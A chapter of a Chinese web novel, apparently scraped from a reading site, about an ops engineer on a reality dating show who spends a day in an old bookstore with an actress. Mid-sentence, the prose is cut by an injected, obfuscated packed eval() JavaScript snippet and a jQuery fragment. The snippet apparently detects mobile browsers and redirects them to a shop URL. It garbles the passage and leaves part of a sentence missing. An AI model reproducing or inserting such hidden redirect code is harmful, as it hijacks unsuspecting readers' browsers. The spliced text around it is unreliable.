12. 海边约会:图书馆与旧书店
作品:《误入恋综后,我靠摆烂日薪百万》 早晨七点半,陈末拿着那本《Linux服务器运维实战》走进餐厅时,苏小雨像颗小炮弹一样冲到他面前。
“陈末老师!我们今天去哪里玩呀?”她眼睛亮晶晶的,扎着双马尾,穿了身粉白色的运动装,背着小背包,一副随时可以出发的样子。
陈末把书放在桌上,先给自己倒了杯水:“还没想好。你有什么建议吗?”
“我想去海边坐玻璃船看珊瑚!”苏小雨立刻说,“或者去那个网红悬崖咖啡馆!听说拍照超好看!”
陈末在心里评估这两个选项。玻璃船:人多,晒,可能要排队。悬崖咖啡馆:网红景点,人多,贵,而且大概率要拍照——他不喜欢拍照。
“或者……”他斟酌着说,“找个安静的地方坐坐?”
苏小雨噘嘴:“陈末老师,这可是自由活动诶!一整天!我们应该去玩点有意思的!”
其他人都陆续来了。楚曦今天穿得格外休闲——大T恤、短裤、人字拖,头发随便扎了个丸子头。看见苏小雨的装扮,她挑眉:“小雨你这是要去春游?”
“是自由活动!”苏小雨纠正。
秦澜还是商务风,但换了件浅色衬衫,看起来没那么严肃。她看了眼陈末:“有计划了?”
“在讨论。”陈末说。
林薇最后一个来。她今天穿了条简单的米色连衣裙,头发披着,戴了顶草帽。看见陈末桌上的书,她走过来:“书能再借我一天吗?”
“可以。”陈末把书推过去。
林薇拿起书,翻到夹着便签的那页——第七章,故障排查。她看了一眼,又合上:“谢谢。”
早餐时,大家的话题都围绕着自由活动。王烁说他打算在别墅休息,看点电影。楚曦说要去海里游几公里。秦澜说约了岛上的朋友谈事情。
苏小雨还在试图说服陈末:“玻璃船真的很好玩!水特别清,能看到好多鱼!”
陈末喝了口粥:“我晕船。”
“诶?真的吗?”
“真的。”陈末面不改色地说。其实他不确定自己晕不晕船,但这么说能最快结束这个话题。
苏小雨失望地低头戳着碗里的水果。
林薇忽然开口:“岛上有个图书馆,听说藏书很特别。”
陈末抬头。
“图书馆?”苏小雨皱眉,“林薇姐,自由活动去图书馆?”
“嗯。”林薇淡淡地说,“安静,人少,有空调。”
陈末心动了。图书馆符合他对“理想自由活动场所”的所有要求:安静,有座位,有WiFi(大概率),不需要社交,可以看书或者处理工作。
“图书馆不错。”他说。
苏小雨看看陈末,又看看林薇,眼睛转了转:“那……我也想去图书馆!”
楚曦笑出声:“小雨,你坐得住吗?”
“我可以试试嘛!”
早餐后,陈末和苏小雨回房间准备。节目组提供的五千元经费以现金形式给了他们,装在一个信封里。苏小雨拿着信封,兴奋地数钱。
“五千块!我们可以吃大餐了!”
“图书馆应该不用门票。”陈末提醒。
“那也要吃午饭呀!”苏小雨把钱包好,“走吧走吧,跟拍老师已经在门口等了。”
别墅门口停着一辆白色观光车,司机是个本地大叔,皮肤黝黑,笑容热情。跟拍摄影师小赵已经架好设备坐在后排了,看见他们,挥手打招呼。
“陈末老师,苏小雨老师,早上好。”
“早上好。”陈末点头。
三人上车。小赵调整摄像机:“两位老师不用管我,就当我不存在。自然一点就好。”
车开了。海风迎面吹来,带着咸湿的气息。苏小雨坐在陈末旁边,兴奋地指着路边:“看!椰子!那边有卖椰子的!”
陈末顺着她指的方向看,确实有个小摊,摆着青色的椰子。摊主正用砍刀削椰子顶,动作熟练。
“回来的时候可以买一个。”陈末说。
“好呀!”
车沿着海岸线开了二十分钟,拐进一条小路。路边指示牌写着“海岛文化中心”,箭头指向一栋白色建筑。
那就是图书馆。三层楼,设计现代,玻璃幕墙在阳光下闪闪发亮。门口有块牌子,上面写着开放时间:周二至周日,9:00-17:00。
今天周四。现在九点十五分。时间刚好。
车停下。陈末和苏小雨下车,小赵扛着摄像机跟在后面。
图书馆门口……锁着。
玻璃门上贴了张A4纸,打印的字迹:“今日内部整理,暂停开放。敬请谅解。”
苏小雨“啊”了一声,凑近看:“怎么会这样……”
陈末也看了看通知。纸张很新,墨迹未干,应该是今早刚贴的。
“怎么办?”苏小雨转头看他,眼里满是失望。
陈末环顾四周。图书馆旁边有条小巷,巷口有个不起眼的木牌,手写着“旧书·旧时光”,箭头指向巷内。
“那边有个书店。”他说。
“旧书店?那……去看看?”苏小雨不确定地问。
三人走进小巷。巷子很窄,两边是斑驳的墙壁,墙上爬着藤蔓。走了大概五十米,看见一扇木门,门上挂着风铃。
推开门,风铃叮当作响。
书店比想象中大。室内光线昏暗,只有几盏暖黄色的台灯亮着。书架高到天花板,密密麻麻摆满了书,空气里有旧纸张和灰尘混合的味道。一个白发老爷爷坐在柜台后看报纸,听见声音,抬头看了他们一眼,又低头继续看报。
“哇……”苏小雨小声惊叹,“好多书。”
确实多。书店分成几个区域,书架之间留出仅容一人通过的过道。书按类摆放,但显然很久没整理过了,有些书堆在地上,有些斜插在书架上。
陈末走到最近的书架前。这一区是科技类,他看到几本很老的计算机书:《DOS系统入门》、《BASIC语言程序设计》、甚至还有一本《穿孔卡片编程指南》。
他抽出一本《C程序设计语言》,第二版,封面已经褪色,出版年份是1988年。
“你在看什么?”苏小雨凑过来。
“老书。”陈末翻开,纸张泛黄,但保存得不错。里面有些手写的笔记,字迹工整,大概是某个程序员的遗留物。
“好旧哦。”苏小雨对技术书没兴趣,转身去其他区域了。
陈末继续在书架间走动。他找到一整排的计算机科学经典著作:Knuth的《计算机程序设计艺术》、Tanenbaum的操作系统教材、甚至还有一本初版的《人月神话》。这些书在市面上已经很难找到纸质版了。
他拿了几本感兴趣的去柜台。老爷爷放下报纸,戴上老花镜,一本本看。
“这些都要?”老爷爷声音沙哑。
“嗯。”
老爷爷拿起计算器,慢慢按:“这本五十,这本八十,这本……一百二。一共二百五。”
陈末付钱。老爷爷用牛皮纸把书包好,系上麻绳。
“你是搞计算机的?”老爷爷问。
“运维工程师。”
“哦。”老爷爷点头,“我儿子以前也是。后来去大城市了。”
陈末不知道该怎么接话,点点头,拿着书准备去找苏小雨。
走过一个转角,他看见林薇。
林薇站在哲学区的书架前,手里拿着一本诗集。她没戴帽子,头发松松披着,在昏暗的光线下看起来柔和很多。听见脚步声,她抬头,看见陈末,愣了一下。
“你怎么在这儿?”两人同时问。
然后林薇先回答:“听说这个书店很有名,来看看。”
“图书馆关门了。”陈末说。
“我知道。”林薇说,“所以来这里。”
苏小雨从另一个书架后探出头:“林薇姐!你也来啦!”
“嗯。”林薇点头,“你们……一起来的?”
“对呀!”苏小雨蹦跳着过来,“图书馆没开,陈末老师就说来这儿看看。没想到你也来了!”
陈末觉得这个巧合有点太巧了。但林薇的表情很自然,不像事先知道。
“你买了什么书?”林薇看向陈末手里的纸包。
“几本老技术书。”陈末打开纸包给她看。
林薇看了一眼,目光停在那本《人月神话》上:“这本我听过。讲软件工程的?”
“嗯。经典。”
“能借我看吗?”林薇问,“看完还你。”
陈末把书递给她。林薇接过,翻开第一页,上面有前主人的签名和日期:1995.3.12。
“二十七年了。”她轻声说。
苏小雨对老书没兴趣,又去其他区域逛了。小赵的摄像机在远处对着他们,但保持了礼貌的距离。
林薇继续在书架前翻阅。她看的都是哲学、文学类的书,偶尔抽出一本,翻几页,又放回去。动作很慢,很专注。
陈末站在她旁边,不知道是该走开还是该留下。最后他决定也看看书——来书店不看书干什么?
他走到旁边的书架,这里都是数学和物理书。他抽出一本《哥德尔、艾舍尔、巴赫》,这本他也听说过,但一直没时间看。
两人就这样站在相邻的书架前,各自看书。书店里很安静,只有翻页的声音,和远处苏小雨偶尔发出的惊叹。
过了大概二十分钟,林薇忽然开口:“你平时看书多吗?”
“技术书多。”陈末说,“其他看得少。”
“为什么?”
“没时间。”陈末实话实说,“工作忙,而且要看技术文档、更新日志、故障报告。”
林薇点点头。她合上手中的诗集,放回书架,又抽出一本:“这本你看过吗?”
陈末看了一眼封面:《禅与摩托车维修艺术》。他摇头。
“讲什么的?”他问。
“讲……质量。”林薇说,“技术、艺术、哲学之间的关系。”
“听起来很深奥。”
“不深奥。”林薇翻开书,找到一页,递给陈末,“你看这段。”
陈末接过。段落讲的是维修摩托车时的精神状态——专注、沉浸、与工具和机器融为一体。
“有点像运维。”陈末说,“处理故障时要进入那种状态,忘记时间,忘记周围,只想解决问题。”
林薇看着他:“你享受那种状态吗?”
陈末想了想:“享受。问题解决的那一刻,很有成就感。”
“即使问题还会再出现?”
“会再出现,就再解决。”陈末说,“这就是工作。”
林薇沉默了一会儿。她靠在书架上,灯光从侧面照过来,在她脸上投下柔和的阴影。
“我演戏的时候,也会进入那种状态。”她说,“忘记自己是林薇,忘记镜头,忘记观众。只是那个角色,在那个情境里。”
“出戏难吗?”陈末想起她之前说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990773|193693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的“线程无法退出”。
“难。”林薇说,“有时候拍完一部戏,要花几个月才能完全走出来。就像……系统切换有延迟。”
这个比喻让陈末笑了。很短促的笑,几乎听不见。
林薇也微微扬了扬嘴角:“我是不是用错词了?”
“没有,很准确。”陈末说,“系统切换确实有延迟,尤其是从高负载状态切换回空闲状态。”
“那怎么减少延迟?”
“优化代码,减少状态保存和恢复的开销。”陈末说,“或者……预加载。在切换前就准备好下一个状态需要的数据。”
林薇若有所思地点头。她看着手里的书,手指轻轻摩挲着书页边缘。
“陈末。”她忽然说。
“嗯?”
“如果……”林薇停顿了一下,像在斟酌词句,“如果一个系统运行了很久,但从来没有真正重启过,会怎么样?”
陈末认真思考这个问题。这在运维里是个经典场景。
“内存碎片会累积,资源泄漏会越来越多,性能会逐渐下降。”他说,“最终可能因为某个小故障就彻底崩溃。”
“那应该怎么办?”
“定期维护。”陈末说,“重启服务,清理缓存,检查日志,修复已知问题。”
“如果……不能重启呢?”
“为什么不能?”
林薇没有回答。她看着书架深处,眼神有些空。
陈末等了几秒,换了个角度回答:“如果不能重启,就做热升级。在运行状态下替换组件,更新代码,逐步迁移到新版本。虽然风险高,但做好了可以实现平滑过渡。”
“热升级。”林薇重复这个词,“怎么做?”
“需要详细的计划,充分的测试,回滚方案,还有……勇气。”陈末说,“因为一旦开始,就不能回头。”
林薇点点头。她把书放回书架,双手插进口袋。
“谢谢。”她说,“很有帮助。”
“不客气。”
苏小雨这时抱着一堆书过来:“陈末老师!林薇姐!你们看我找到了什么!”
她抱的都是漫画书和绘本,封面花花绿绿。
“这些书好可爱!”苏小雨兴奋地说,“我可以买吗?”
“经费在你那里。”陈末提醒。
“对哦!”苏小雨数了数,“五本,一共……一百八十块!不贵!”
她抱着书去柜台结账。林薇和陈末也跟过去。
老爷爷慢悠悠地算钱,打包。苏小雨付了钱,心满意足地抱着纸袋。
“我们接下来去哪儿?”她问。
陈末看了眼时间,十一点。离午饭还有一小时。
“回别墅?”他提议。
“啊?这么早?”苏小雨失望。
“我有点工作要处理。”陈末说。这是实话——他早上收到公司邮件,有个生产环境的问题需要他远程协助。
林薇说:“我也回去。下午还有事。”
苏小雨看看陈末,又看看林薇,最后妥协:“好吧……”
三人走出书店。阳光刺眼,从昏暗的书店出来,眼睛需要适应一会儿。
车还在巷口等。他们上车,回程。
路上,苏小雨翻看刚买的漫画,不时笑出声。林薇看着窗外,表情平静。陈末则在脑子里规划下午的工作:先登录□□,查看问题描述,分析日志,制定方案……
车开到别墅门口时,陈末的手机震动了一下。是公司同事发来的消息:“末哥,问题紧急,能尽快上线吗?”
他回复:“十分钟后。”
下车,进别墅。苏小雨抱着书回房间了,林薇也上了楼。
陈末快步回房间,打开笔记本电脑。
登录,查看问题。是个数据库连接池泄漏,导致新连接无法建立。他快速写了个修复脚本,测试,部署。
十二点半,问题解决。
他松了口气,看了眼时间。该吃午饭了。
但手机又震动了。这次不是工作消息,是张伟。
“末哥!你和林薇在书店被拍了!照片已经在网上传开了!”
陈末皱眉,点开张伟发的链接。
是个八卦营销号发的文章,标题:“《心动的岛屿》新进展:陈末林薇旧书店单独约会,苏小雨同行变电灯泡?”
配图是他们在书店的照片,拍得很模糊,但能认出人。一张是陈末和林薇站在书架前说话,一张是苏小雨在远处看书。
文章内容写得绘声绘色,说陈末和林薇“相谈甚欢”,“气氛暧昧”,苏小雨“被冷落”。
评论区已经吵起来了:
“林薇和陈末?这什么神奇组合?”
“但莫名有点好嗑是怎么回事?”
“苏小雨好可怜……”
“陈末这是要开后宫吗?”
“节目效果吧,别当真。”
陈末关掉页面。
约会?他们只是在书店偶遇,聊了几句技术问题。
但照片看起来……确实像那么回事。
他想起刘导说的“平衡”。这下好了,平衡打破了。
手机又震动。这次是刘导的消息:
“陈末老师,看到新闻了吗?别担心,是好事,增加话题度。下午方便来我办公室一趟吗?我们聊聊。”
陈末看着这条消息,叹了口气。
他只想安安静静赚个日薪一千。
怎么就这么难呢?

